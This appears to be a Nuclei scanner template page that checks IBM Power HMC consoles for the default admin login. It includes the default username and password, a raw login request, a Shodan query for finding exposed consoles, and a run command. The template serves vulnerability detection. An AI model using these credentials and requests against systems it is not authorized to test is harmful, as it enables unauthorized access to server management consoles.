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IBM Power HMC - Default Login

ID: ibm-hmc-default-login

Severity: high

Author: R3S OST

Tags: default-login,ibm,hmc

IBM HMC default admin login credentials were discovered.

id: ibm-hmc-default-login
info:
name: IBM Power HMC - Default Login
author: R3S OST
severity: high
description: |
IBM HMC default admin login credentials were discovered.
reference:
- https://www.ibm.com/docs/en/power8?topic=tools-hardware-management-console
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:262502857
tags: default-login,ibm,hmc
http:
- raw:
- |
POST /hmc/j_security_check HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
j_username={{username}}&j_password={{password}}&j_newConsole=Dashboard&j_security_check=Log+in
payloads:
username:
- hscroot
password:
- abc123
attack: pitchfork
matchers:
- type: dsl
dsl:
- "len(body) == 0"
- "status_code == 303"
- "contains(header, 'Location: /hmc/connect;jsessionid=')"
condition: and
# digest: 4a0a00473045022100de8e7c5ee25c287628499d7b107a192833882a2b79e3d15b2b2a87dc86528dc002206ea7f0e5e415ccc10a99fe0c76bf57b113bb60b24e437a8abca4c3f50113e12e:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/default-logins/ibm/ibm-hmc-default-login.yaml"

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